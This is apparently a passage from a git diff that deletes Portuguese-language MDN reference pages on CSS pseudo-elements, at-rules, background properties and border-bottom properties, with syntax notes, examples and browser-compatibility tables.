{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade :after do CSS 2.0. Não foram permitidas position, float, list-style-* e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}

-

Sintaxe

-
element:after  { propriedades do estilo }  /* sintaxe CSS2 */
-
-element::after { propriedades do estilo }  /* sintaxe CSS3, não suportada pelo IE8 */
-

A notação ::after foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação :after introduzida no CSS 2.

-
Nota:  O Microsoft Internet Explorer 8 suporta somente a notação :after.
-

Exemplos

-
.boringtext:after {
-   content:    " Obrigado por ler tudo isto!";
-   font-size:  small;
-   color:      red;
-   background: gray;
-}
-
-

Especificações

- -

Compatibilidade com navegadores

- -
Navegador Versão mais antiga Suporte a
Internet Explorer 8.0 :after
Firefox (Gecko) 1.0 (1.0) :after
1.0 (1.5) :after | ::after
Opera 4.0 :after
7.0 :after | ::after
Safari (WebKit) 1.0 (85) :after | ::after
-

Veja também

-

{{ Cssxref(":before") }}, {{ cssxref("content") }}

-

{{ languages( { "fr": "fr/CSS/:after", "pl": "pl/CSS/:after", "es": "es/CSS/after", "pt": "pt/CSS/:after" } ) }}

diff --git a/files/pt-pt/web/css/_doublecolon_before/index.html b/files/pt-pt/web/css/_doublecolon_before/index.html deleted file mode 100644 index 78a034d54c..0000000000 --- a/files/pt-pt/web/css/_doublecolon_before/index.html +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: ':before | ::before' -slug: Web/CSS/::before -tags: - - Referencia_CSS -translation_of: Web/CSS/::before -original_slug: Web/CSS/:before ---- -

{{ CSSRef() }}

-

Resumo

-

:before cria um pseudo-elemento que é a primeira criança do elemento selecionado. Tipicamente usado para adicionar conteúdo cosmético a um elemento. Este elemento é inline por padrão.

-

{{ fx_minversion_note("3.5", "A versão do Firefox anterior à 3.5 somente tinha implementada a propriedade :before do CSS 2.0. Não foram permitidas position, float, list-style-* e algumas propriedades de exibição. O Firefox 3.5 removeu estas restrições. Note que isto independe da notação com :: mencionada anteriormente.") }}

-

Sintaxe

-
element:before  { propriedades do estilo }  /* sintaxe CSS2 */
-
-element::before { propriedades do estilo }  /* sintaxe CSS3, não suportada pelo IE8 */
-

A notação ::before foi introduzida no CSS3 com o objetivo de estabelecer uma diferença entre pseudo-classes e pseudo-elementos. Navegadores também aceitam a notação :before introduzida no CSS 2.

-
Nota:  O Microsoft Internet Explorer 8 suporta somente a notação :before.
-

Exemplos

-
q:before { content: "»" }
-q:after { content: '«' }
-
-<q>Algumas citações</q>, ele disse, <q>são melhores que nenhuma</q>.
-

Resultado:    »Algumas citações«, ele disse, »são melhores que nenhuma«.

-

Notas

-

Apesar das correções de posicionamento, o Firefox 3.5 não permite que o conteúdo seja gerado como um irmão anteriormente separado (como a declaração das CSS spec(EN) "Os pseudo-elementos <code>:before</code> e <code>:after</code> interagem com outras caixas...como se fossem elementos reais inseridos dentro de seu elemento associado."), eles podem ser usados para proporcionar uma ligeira melhora nos arranjos sem tabelas (isto é, para alcançar o centro), tão longo como o conteúdo a ser centralizado é envolto em outro elemento criança, uma coluna antes e depois do conteúdo pode ser introduzida sem a adição de um irmão anterior ou posterior (por exemplo, talvez seja mais semanticamente correto adicionar um span a mais como anteriormente, que seria para adicionar um <code><div/></code> vazio antes e depois). (E sempre lembrar de adicionar uma largura para um flututante, uma vez que de outra forma ele não flutuará!)

-
<style type="text/css">
-
-#floatme {float:left; width:50%;}
-
-.example:before {
-  content: "Floated Before"; /* To get an empty column, just indicate a hex code for a non-breaking space: \a0 as the content (use \0000a0 when following such a space with other characters) */
-  float: left;
-  width:25%
-}
-.example:after {
-  content: "Floated After";
-  float: right;
-  width:25%
-}
-
-/* For styling */
-.example:before, .example:after, .first {
-  background: yellow;
-  color: red;
-}
-
-
-</style>
-<div class="example">
-<span id="floatme">"Floated Before" should be generated on the left of the
-viewport and not allow overflow in this line to flow under it. Likewise
-should "Floated After" appear on the right of the viewport and not allow this
-line to flow under it.</span>
-</div>
-

Especificações

- -

Compatibilidade com navegadores

- -
Navegador Versão mais antiga Suporte a
Internet Explorer 8.0
:before
Firefox (Gecko) 1.0 (1.0) :before
1.0 (1.5) :before | ::before
Safari (WebKit) 1.0 (85) :before | ::before
Opera 4.0 :before
7.0 :before | ::before
-

Veja também

-

{{ Cssxref(":after") }}

-

{{ languages( { "en": "en/CSS/:before", "fr": "fr/CSS/:before", "pl": "pl/CSS/:before", "es": "es/CSS/before" } ) }}

diff --git a/files/pt-pt/web/css/alternative_style_sheets/index.html b/files/pt-pt/web/css/alternative_style_sheets/index.html deleted file mode 100644 index 9cf87539f9..0000000000 --- a/files/pt-pt/web/css/alternative_style_sheets/index.html +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Folhas de estilo alternativas -slug: Web/CSS/Alternative_style_sheets -translation_of: Web/CSS/Alternative_style_sheets -original_slug: Web/CSS/Folhas_de_estilo_alternativas ---- -

O Firefox oferece suporte a folhas de estilo alternativa. AS páginas que disponibilizam folhas de estilo alternativas permitem que o usuário selecione o estilo que a página será mostrada usando o submenu Exibir>Estilos da página. Fornecendo uma maneira de visualizar várias versões de uma mesma página, com base em suas necessidades e preferências.

-

Um site pode usar a tag link para adicionar as folhas de estilo alternativa.

-

Por exemplo:

-
<link href="padrao.css" rel="stylesheet" type="text/css" title="Estilo padrao">
-<link href="estilo1.css" rel="alternate stylesheet" type="text/css" title="Estilo 1">
-<link href="estilo2.css" rel="alternate stylesheet" type="text/css" title="Estilo 2">
-
-

Oferecendo essas três folhas de estilo, disponibilizaremos ao usuário as opções "Estilo Padrão", "Estilo 1" e "Estilo 2" no submenu. Quando o usuário selecionar um dos estilos, a página imediatamente será recarregada usando o estilo selecionado.

-

O valor do atributo title na tag link nomeia cada opção de estilo. Quando o valor deste atributo é repetido, entende-se como parte da mesma opção. Caso a tag link não possua o atributo title, a folha correspondente será sempre aplicada.

-

Use rel="stylesheet" para aplicar as folhas correspondente ao estilo padrão, e rel="alternate stylesheet" para aplicar as folhas correspondente aos estilos alternativos. Isso permite que o Firefox diferencie as folhas de estilo padrão das alternativas e permite que os navegadores que não suportam folhas de estilo alternativa apliquem somente as folhas do estilo padrão.

-

 

-

Exemplo

-

Clique aqui para ver um exemplo.

-

 

-

Especificação

- diff --git a/files/pt-pt/web/css/at-rule/index.html b/files/pt-pt/web/css/at-rule/index.html deleted file mode 100644 index bbf7651358..0000000000 --- a/files/pt-pt/web/css/at-rule/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: Regra "At" -slug: Web/CSS/At-rule -tags: - - AT - - CSS - - Referencia - - Regra -translation_of: Web/CSS/At-rule ---- -
{{cssref}}
- -

Uma regra "at" is a CSS statement beginning with an at sign, '@' (U+0040 COMMERCIAL AT), followed by an identifier and includes everything up to the next semi-colon, ';' (U+003B SEMICOLON), or the next CSS block, whichever comes first.

- -
/* General structure */
-@IDENTIFIER (RULE);
-
-/* Example: tells browser to use UTF-8 character set */
-@charset "utf-8";
- -

There are several at-rules, designated by their identifiers, each with a different syntax:

- -
    -
  • {{cssxref("@charset")}} — Defines the character set used by the style sheet.
  • -
  • {{cssxref("@import")}} — Tells the CSS engine to include an external style sheet.
  • -
  • {{cssxref("@namespace")}} — Tells the CSS engine that all its content must be considered prefixed with an XML namespace.
  • -
  • at-rules integradas — A subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules: -
      -
    • {{cssxref("@media")}} — A conditional group rule which will apply its content if the device meets the criteria of the condition defined using a media query.
    • -
    • {{cssxref("@supports")}} {{experimental_inline}} — A conditional group rule which will apply its content if the browser meets the criteria of the given condition.
    • -
    • {{cssxref("@document")}} {{experimental_inline}} — A conditional group rule which will apply its content if the document in which the style sheet is applied meets the criteria of the given condition. (deferred to Level 4 of CSS Spec)
    • -
    • {{cssxref("@page")}} — Describes the aspect of layout changes which will be applied when printing the document.
    • -
    • {{cssxref("@font-face")}} — Describes the aspect of an external font to be downloaded.
    • -
    • {{cssxref("@keyframes")}} {{experimental_inline}} — Describes the aspect of intermediate steps in a CSS animation sequence.
    • -
    • {{cssxref("@viewport")}} {{experimental_inline}} — Describes the aspects of the viewport for small screen devices. (currently at the Working Draft stage)
    • -
    • {{cssxref("@counter-style")}} — Defines specific counter styles that are not part of the predefined set of styles. (at the Candidate Recommendation stage, but only implemented in Gecko as of writing)
    • -
    • {{cssxref("@font-feature-values")}} (plus @swash, @ornaments, @annotation, @stylistic, @styleset and @character-variant)
      - — Define common names in {{cssxref("font-variant-alternates")}} for feature activated differently in OpenType. (at the Candidate Recommendation stage, but only implemented in Gekko as of writing)
    • -
    -
  • -
- -

Regras de grupo condicionais

- -

Much like the values of properties, each at-rule has a different syntax. Nevertheless, several of them can be grouped into a special category named conditional group rules. These statements share a common syntax and each of them can include nested statements—either rulesets or nested at-rules. Furthermore, they all convey a common semantic meaning—they all link some type of condition, which at any time evaluates to either true or false. If the condition evaluates to true, then all of the statements within the group will be applied.

- -

Conditional group rules are defined in CSS Conditionals Level 3 and are:

- -
    -
  • {{cssxref("@media")}},
  • -
  • {{cssxref("@supports")}},
  • -
  • {{cssxref("@document")}}. (deferred to Level 4 of CSS Spec)
  • -
- -

Since each conditional group may also contain nested statements, there may be an unspecified amount of nesting.

- -

Especificações

- - - - - - - - - - - - - - - - - - - -
EspecificaçãoEstadoComentário
{{SpecName('CSS3 Conditional')}}{{Spec2('CSS3 Conditional')}}Initial definition
{{SpecName('Compat', '#css-at-rules', 'CSS At-rules')}}{{Spec2('Compat')}}Standardizes @-webkit-keyframes.
- -

Consultar também:

- -
    -
  • {{CSS_key_concepts}}
  • -
diff --git a/files/pt-pt/web/css/background-attachment/index.html b/files/pt-pt/web/css/background-attachment/index.html deleted file mode 100644 index ca851ae58c..0000000000 --- a/files/pt-pt/web/css/background-attachment/index.html +++ /dev/null @@ -1,140 +0,0 @@ ---- -title: background-attachment -slug: Web/CSS/background-attachment -tags: - - Referencia_CSS -translation_of: Web/CSS/background-attachment ---- -

{{ CSSRef() }}

- -

Resumo

- -

Se um {{ Cssxref("background-image") }} é especificado, background-attachment determina se a posição da imagem é fixa na tela, ou rola junto com o bloco que a contém.

- -
    -
  • Valor inicial: scroll
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: como especificado
  • -
- -

Sintaxe

- -
background-attachment: scroll | fixed | inherit
-
- -

Valores

- -
-
scroll 
-
Se scroll é especificado, a imagem de fundo irá rolar na tela com o bloco de imagem que a contém.
-
fixed 
-
Se fixed é especificado, a imagem de fundo não rolará com o elemento que a contém, em vez disso, continua estacionária no mesmo lugar da tela.
-
-

Exemplos

- -

Simple example

- -

CSS

- -
p {
-  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif");
-  background-attachment: fixed;
-}
-
- -

HTML

- -
<p>
-  There were doors all round the hall, but they were all locked; and when
-  Alice had been all the way down one side and up the other, trying every
-  door, she walked sadly down the middle, wondering how she was ever to
-  get out again.
-</p>
- -

Result

- -

{{EmbedLiveSample("Simple_example")}}

- -

Multiple background image support

- -

This property supports multiple background images. You can specify a different <attachment> for each background, separated by commas. Each image is matched with the corresponding attachment type, from first specified to last.

- -

CSS

- -
p {
-  background-image: url("https://mdn.mozillademos.org/files/12057/starsolid.gif"), url("https://mdn.mozillademos.org/files/12059/startransparent.gif");
-  background-attachment: fixed, scroll;
-  background-repeat: no-repeat, repeat-y;
-}
- -

HTML

- -
<p>
-  There were doors all round the hall, but they were all locked; and when
-  Alice had been all the way down one side and up the other, trying every
-  door, she walked sadly down the middle, wondering how she was ever to
-  get out again.
-
-  Suddenly she came upon a little three-legged table, all made of solid
-  glass; there was nothing on it except a tiny golden key, and Alice's
-  first thought was that it might belong to one of the doors of the hall;
-  but, alas! either the locks were too large, or the key was too small,
-  but at any rate it would not open any of them. However, on the second
-  time round, she came upon a low curtain she had not noticed before, and
-  behind it was a little door about fifteen inches high: she tried the
-  little golden key in the lock, and to her great delight it fitted!
-</p>
- -

Result

- -

{{EmbedLiveSample("Multiple_background_image_support")}}

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape6
Opera3.5
- -

Veja também

- -

{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}

- -

Categorias

- -

Interwiki Language Links

- -

 

- -

{{ languages( { "en": "en/CSS/background-attachment", "fr": "fr/CSS/background-attachment", "pl": "pl/CSS/background-attachment" } ) }}

diff --git a/files/pt-pt/web/css/background-color/index.html b/files/pt-pt/web/css/background-color/index.html deleted file mode 100644 index 4d713de239..0000000000 --- a/files/pt-pt/web/css/background-color/index.html +++ /dev/null @@ -1,108 +0,0 @@ ---- -title: background-color -slug: Web/CSS/background-color -tags: - - Referencia_CSS -translation_of: Web/CSS/background-color ---- -

{{CSSRef}}

- -

Resumo

- -

background-color configura a cor de fundo de um elemento, com qualquer valor de cor ou a palavra-chave transparent.

- -

{{cssinfo}}

- -

Sintaxe

- -
background-color: color | transparent | inherit
-
- -

Valores

- -
-
color 
-
A cor pode ser especificada com um valor RGB hexadecimal, um valor RGB regular ou usando umas das palavras-chave pré-definidas.
-
transparent 
-
O valor padrão para background-color é transparent, o que significa que o elemento não tem cor própria, em vez disso ele exibe a cor do elemento de trás.
-
- -

Exemplos

- -

HTML

- -
<div class="exampleone">
- Lorem ipsum dolor sit amet, consectetuer
-</div>
-
-<div class="exampletwo">
-  Lorem ipsum dolor sit amet, consectetuer
-</div>
-
-<div class="examplethree">
-  Lorem ipsum dolor sit amet, consectetuer
-</div>
- -

CSS

- -
.exampleone {
-  background-color: teal;
-  color: white;
-}
-
-.exampletwo {
-  background-color: rgb(153,102,153);
-  color: rgb(255,255,204);
-}
-
-.examplethree {
-  background-color: #777799;
-  color: #FFFFFF;
-}
-
- -

Result

- -

{{EmbedLiveSample("Exemplos","200","150")}}

- - -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadoresVersão mais antiga
Internet Explorer4.0
Firefox (Gecko)1.0 (1.0)
Opera3.5
Safari (WebKit)1.0 (85)
- -

Veja também

- - diff --git a/files/pt-pt/web/css/background-image/index.html b/files/pt-pt/web/css/background-image/index.html deleted file mode 100644 index fd513e19b1..0000000000 --- a/files/pt-pt/web/css/background-image/index.html +++ /dev/null @@ -1,131 +0,0 @@ ---- -title: background-image -slug: Web/CSS/background-image -tags: - - CSS_1 - - CSS_2.1 - - CSS_3 - - Referencia_CSS -translation_of: Web/CSS/background-image ---- -

{{ CSSRef() }}

- -

Resumo

- -

A propriedade background-image configura a imagem de fundo para um elemento.

- -
    -
  • Valor inicial: none
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: URI absoluta ou none
  • -
- -

Sintaxe

- -
background-image:uri | none | inherit
-
- -

Valores

- -
-
uri 
-
A localização da imagem de recurso para ser usada como imagem de fundo.
-
none 
-
Usado para especificar que um elemento não tem imagem de fundo.
-
- -

Exemplos

- -

Note that the star image is partially transparent and is layered over the cat image.

- -

HTML

- -
<div>
-    <p class="catsandstars">
-        This paragraph is full of cats<br />and stars.
-    </p>
-    <p>This paragraph is not.</p>
-    <p class="catsandstars">
-        Here are more cats for you.<br />Look at them!
-    </p>
-    <p>And no more.</p>
-</div>
- -

CSS

- -
pre, p {
-    font-size: 1.5em;
-    color: #FE7F88;
-    background-color: transparent;
-}
-
-div {
-  background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
-}
-
-p {
-  background-image: none;
-}
-
-.catsandstars {
-  background-image:  url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
-                     url("https://mdn.mozillademos.org/files/7693/catfront.png");
-  background-color: transparent;
-}
-
- -

Result

- -

{{EmbedLiveSample('Exemplos')}}

- -

Notas

- -

Desenvolvedores devem assegurar-se de especificar um {{ Cssxref("background-color") }} para ser usado se uma imagem não estiver disponível. Imagens de fundo são renderizadas sobre a cor de fundo.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape4
Opera3.5
- -

Veja também

- -

{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/background-image", "fr": "fr/CSS/background-image", "pl": "pl/CSS/background-image" } ) }}

diff --git a/files/pt-pt/web/css/background-position/index.html b/files/pt-pt/web/css/background-position/index.html deleted file mode 100644 index 5445184e42..0000000000 --- a/files/pt-pt/web/css/background-position/index.html +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: background-position -slug: Web/CSS/background-position -tags: - - Referencia_CSS -translation_of: Web/CSS/background-position ---- -

-{{ CSSRef() }} -

-

Resumo

-

background-position configura a posição inicial de qualquer imagem de fundo que seja configurada. -

-
  • Valor inicial: 0% 0% -
  • Aplica-se a: todos os elementos -
  • Herdado: não -
  • Porcentagens: refere-se ao tamanho da própria caixa -
  • Mídia: visual -
  • Valor computado: para <length> o valor absoluto, se não uma porcentagem -
-

Sintaxe

-
background-position: [ [ <percentage> | <length> | left | center | right ] [ <percentage> | <length> | top | center | bottom ]? ] | [ [ left | center | right ] || [ top | center | bottom ] ] | inherit
-
-

Valores

-
<percentage> <percentage>
Com um par de valores de '0% 0%', o canto superior esquerdo da imagem é alinhado com o canto superior esquerdo do enchimento da borda da caixa. Um par de valores de '100% 100%' coloca o canto inferior direito da imagem no canto inferior direito da área de enchimento. Com um par de valores de '14% 84%', o ponto de 14% na horizontal e 84% na vertical da imagem é colocado no ponto 14% na horizontal e 84% na vertical da área de enchimento. -
<length> <length>
Com um par de valores de '2cm 1cm', o canto superior esquerdo da imagem é colocado 2cm para a direita e 1cm abaixo do canto superior esquerdo da área de enchimento. -
top left e left top
O mesmo que '0% 0%'. -
top, top center e center top
O mesmo que '50% 0%'. -
right top e top right
O mesmo que '100% 0%'. -
left, left center e center left
O mesmo que '0% 50%'. -
center e center center
O mesmo que '50% 50%'. -
right, right center e center right
O mesmo que '100% 50%'. -
bottom left e left bottom
O mesmo que '0% 100%'. -
bottom, bottom center e center bottom
O mesmo que '50% 100%'. -
bottom right e right bottom
O mesmo que '100% 100%'. -
-

Se somente um valor é especificado, então ele configura a posição horizontal, com a posição vertical em 50%. Caso contrário, o primeiro valor especifica a posição horizontal. Combinações são permitidas de valores de palavras-chave, comprimento ou porcentagens, mas se palavras-chave forem misturadas com outros valores, 'left' e 'right' podem somente ser usados como o primeiro valor, e 'top' e 'down' podem somente ser usados como o segundo valor. Posições negativas são permitidas. -

-

Exemplos

-
.exampleone {
-	background-image: url("logo.png");
-	background-position: top center;
-}
-
-.exampletwo {
-	background-image: url("logo.png");
-	background-position: 25% 75%;
-}
-
-.examplethree {
-	background-image: url("logo.png");
-	background-position: 2cm bottom;
-}
-
-.examplefour {
-	background-image: url("logo.png");
-	background-position: center 10%;
-}
-
-.examplefive {
-	background-image: url("logo.png");
-	background-position: 2cm 50%;
-}
-
-
-

== Notas == -

-

Especificações

- -

Compatibilidade com navegadores

- -
Navegador Versão mais antiga
Internet Explorer 4
Firefox 1
Netscape 6
Opera 3.5
-

Veja também

-

{{ Cssxref("background") }}, -{{ Cssxref("background-attachment") }}, -{{ Cssxref("background-color") }}, -{{ Cssxref("background-image") }}, -{{ Cssxref("background-position") }}, -{{ Cssxref("background-repeat") }} -

Categorias -

Interwiki Language Links -

{{ languages( { "en": "en/CSS/background-position", "fr": "fr/CSS/background-position", "pl": "pl/CSS/background-position" } ) }} diff --git a/files/pt-pt/web/css/background-repeat/index.html b/files/pt-pt/web/css/background-repeat/index.html deleted file mode 100644 index c8ee0800ce..0000000000 --- a/files/pt-pt/web/css/background-repeat/index.html +++ /dev/null @@ -1,138 +0,0 @@ ---- -title: background-repeat -slug: Web/CSS/background-repeat -tags: - - Referencia_CSS -translation_of: Web/CSS/background-repeat ---- -

{{ CSSRef() }}

- -

Resumo

- -

background-repeat specifies whether the image is repeated (tiled), and how.

- -
    -
  • Valor inicial: repeat
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: como especificado
  • -
- -

Sintaxe

- -
background-repeat: repeat | repeat-x | repeat-y | no-repeat | inherit
-
- -

Valores

- -
-
repeat
-
A imagem é repetida vertical e horizontalmente.
-
repeat-x
-
A imagem é repetida somente horizontalmente.
-
repeat-y
-
A imagem é repetida somente verticalmente.
-
no-repeat
-
A imagem não é repetida: somente uma cópia da imagem é desenhada.
-
- - -

Exemplos

- -

HTML

- -
<ol>
-    <li>no-repeat
-        <div class="one">&nbsp;</div>
-    </li>
-    <li>repeat
-        <div class="two">&nbsp;</div>
-    </li>
-    <li>repeat-x
-        <div class="three">&nbsp;</div>
-    </li>
-    <li>repeat-y
-        <div class="four">&nbsp;</div>
-    </li>
-    <li>repeat-x, repeat-y (multiple images)
-        <div class="five">&nbsp;</div>
-    </li>
-</ol>
- -

CSS

- -
/* Shared for all DIVS in example */
-li {margin-bottom: 12px;}
-div {
-    background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
-    width: 144px;
-    height: 84px;
-}
-
-/* background repeat CSS */
-.one {
-    background-repeat: no-repeat;
-}
-.two {
-    background-repeat: repeat;
-}
-.three {
-    background-repeat: repeat-x;
-}
-.four {
-    background-repeat: repeat-y;
-}
-
-/* Multiple images */
-.five {
-    background-image:  url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
-                       url(https://developer.mozilla.org/static/img/favicon32.png);
-    background-repeat: repeat-x,
-                       repeat-y;
-    height: 144px;
-}
- -

Result

- -

In this example, each list item is matched with a different value of background-repeat.

- -

{{EmbedLiveSample('Exemplos', 240, 360)}}

- -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape4
Opera3.5
- -

Veja também

- -

{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/background-repeat", "fr": "fr/CSS/background-repeat", "pl": "pl/CSS/background-repeat" } ) }}

diff --git a/files/pt-pt/web/css/background/index.html b/files/pt-pt/web/css/background/index.html deleted file mode 100644 index 3118d1b239..0000000000 --- a/files/pt-pt/web/css/background/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: background -slug: Web/CSS/background -tags: - - Referencia_CSS -translation_of: Web/CSS/background ---- -

{{ CSSRef() }}

- -

Introdução

- -

A propriedade background é usada para ajustar os valores do fundo em um único lugar na folha de estilos. background pode ser usada com os seguintes valores adicionais: {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}.

- -
    -
  • Valor inicial: veja as propriedades individuais para detalhes;
  • -
  • Aplica-se a: todos os elementos;
  • -
  • Herdado: não;
  • -
  • Porcentagens: reservado para {{ Cssxref("background-position") }};
  • -
  • Mídia: Visual;
  • -
  • Valor computado: veja as propriedades individuais para detalhes.
  • -
- -

Sintaxe

- -
background: [background-color ||background-image ||background-repeat ||background-attachment ||background-position] |inherit]
-
- -

Valores

- -
-
background-color
-
Veja background-color.
-
background-image 
-
Veja background-image.
-
background-repeat 
-
Veja background-repeat.
-
background-attachment 
-
Veja background-attachment.
-
background-position 
-
Veja background-position.
-
- -

Exemplos

- -

HTML

- -
<p class="topbanner">
-  Starry sky<br/>
-  Twinkle twinkle<br/>
-  Starry sky
-</p>
-<p class="warning">Here is a paragraph<p>
- -

CSS

- -
.warning {
-  background: red;
-}
-
-.topbanner {
-  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed;
-}
-
- -

Result

- -

{{EmbedLiveSample("Exemplos")}}

- -

Notas

- -

Sendo uma declaração válida, a propriedade background ajusta primeiramente o background (fundo) individual para seus valores iniciais, e depois, atribui então os valores especificados na declaração. Você não precisa definir um valor para cada uma das propriedades, apenas para aquelas que você deseja alterar os valores padrões.

- -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape6
Opera3.5
- -

Veja também

- -

{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}

- -


- Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/background", "fr": "fr/CSS/background", "pl": "pl/CSS/background" } ) }}

diff --git a/files/pt-pt/web/css/border-bottom-color/index.html b/files/pt-pt/web/css/border-bottom-color/index.html deleted file mode 100644 index 0a6c79941e..0000000000 --- a/files/pt-pt/web/css/border-bottom-color/index.html +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: border-bottom-color -slug: Web/CSS/border-bottom-color -tags: - - Referencia_CSS -translation_of: Web/CSS/border-bottom-color ---- -

{{ CSSRef() }}

- -

Resumo

- -

border-bottom-color configura a cor da borda inferior de um elemento, com o nome da cor ou a palavra-chave transparent.

- -
    -
  • Valor inicial: propriedade 'color'
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: quando pego da propriedade 'color', o valor computado de 'color'; caso contrário, como especificado
  • -
- -

Sintaxe

- -
border-bottom-color:color | transparent | inherit
-
- -

Valores

- -
-
color 
-
A cor pode ser especificada como um valor RGB hexadecimal, um valor RGB regular ou usando uma das palavras-chave de cor pré-definidas.
-
transparent 
-
O elemento não tem cor própria, dessa forma exibe a cor do elemento que fica atrás dele.
-
- -

Propriedades relacionadas

- -
    -
  • {{ Cssxref("border-color") }}
  • -
  • {{ Cssxref("border-left-color") }}
  • -
  • {{ Cssxref("border-right-color") }}
  • -
  • {{ Cssxref("border-top-color") }}
  • -
- -

Exemplos

- -

View Live Examples

- -
element {
-	width: 300px;
-        padding: 15px;
-        border-bottom-size: 1px;
-        border-bottom-style: solid;
-        border-bottom-color: #000;
-}
-
-
- -

Notas

- - - -

Especificações

- - - -

Compatibilidade com navegadores

- - - - - - - - - - - - - - - - - - - - - - - - -
NavegadorVersão mais antiga
Internet Explorer4
Firefox1
Netscape6
Opera3.5
- -

 

- -

Veja também

- -

{{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-width") }},

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-bottom-color", "fr": "fr/CSS/border-bottom-color", "pl": "pl/CSS/border-bottom-color" } ) }}

diff --git a/files/pt-pt/web/css/border-bottom-style/index.html b/files/pt-pt/web/css/border-bottom-style/index.html deleted file mode 100644 index be873908d9..0000000000 --- a/files/pt-pt/web/css/border-bottom-style/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: border-bottom-style -slug: Web/CSS/border-bottom-style -tags: - - Referencia_CSS -translation_of: Web/CSS/border-bottom-style ---- -

{{ CSSRef() }}

- -

Resumo

- -

border-bottom-style configura o estilo da linha da borda inferior de uma caixa.

- -
    -
  • Valor inicial: none
  • -
  • Aplica-se a: todos os elementos
  • -
  • Herdado: não
  • -
  • Porcentagens: N/A
  • -
  • Mídia: visual
  • -
  • Valor computado: como especificado
  • -
- -

Sintaxe

- -
border-bottom-style: <border-style> | inherit
-
- -

<border-style> Valores

- -
-
none 
-
Sem borda.
-
hidden 
-
O mesmo que 'none', exceto em termos de conflitos na resolução de bordas para elementos de tabela.
-
dotted 
-
Série de pontos.
-
dashed 
-
Série de traços ou segmentos de linha.
-
solid 
-
Simples, reto, linha contínua.
-
double 
-
Duas linhas retas que adicionam uma quantidade de pixels definida por border-width.
-
groove 
-
Efeito entalhado.
-
ridge 
-
Contrário de 'groove'.
-
inset 
-
Faz a caixa aparecer em baixo relevo.
-
outset 
-
Contrário de 'inset'. Faz a caixa aparecer em alto relevo.
-
- -

Propriedades relacionadas

- -
    -
  • {{ Cssxref("border-left-style") }}
  • -
  • {{ Cssxref("border-right-style") }}
  • -
  • {{ Cssxref("border-top-style") }}
  • -
  • {{ Cssxref("border-style") }}
  • -
- -

Exemplos

- -

View Live Examples

- -
element {
-        border-bottom-size: 1px;
-        border-bottom-style: dotted;
-        border-bottom-color: #000;
-}
-
- -

Notas

- -

A menos que seja configurado um valor para border-style, sua borda não aparecerá, pois o valor padrão configurado é 'none'.

- -

Especificações

- - - -

== Compatibilidade com navegadores ==

- -

Veja também

- -

{{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-color") }}, {{ Cssxref("border-bottom-width") }},

- -

Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/CSS/border-bottom-style", "fr": "fr/CSS/border-bottom-style", "pl": "pl/CSS/border-bottom-style" } ) }}

